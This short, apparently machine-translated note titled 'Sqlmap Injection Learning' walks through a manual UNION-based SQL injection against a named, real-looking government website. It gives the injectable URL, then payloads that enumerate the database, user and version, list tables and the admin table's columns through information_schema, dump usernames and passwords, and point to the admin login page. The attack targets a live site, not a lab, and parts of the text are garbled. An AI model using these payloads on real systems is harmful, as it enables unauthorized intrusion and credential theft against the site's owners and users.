Sqlmap Injection Learning

http://www.rqyl.gov.cn/rqxw-d.php?ID=-153%20%20%20union%20select%201,database%28%29,3,4,user%28% 29,6,7,8,9,10,11,12,13,14,15,16,17
Database () View databases user () View current user version () View database version number @ @version_compile_os View server version

View all tables in a database
Union SELECT 1,GROUP_CONCAT (table_name), 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from Information_schema.tables where table_schema=0x67313838343638



Burst the contents of the Admin table Union SelectGroup_concat (column_name), 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from Information_schema.columns where Table_ Name=0x61646d696eExplosion account and Password union SELECT 1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17 from admin
Next we guess the login interface admin.php

Login




From for notes (Wiz)

Sqlmap Injection Learning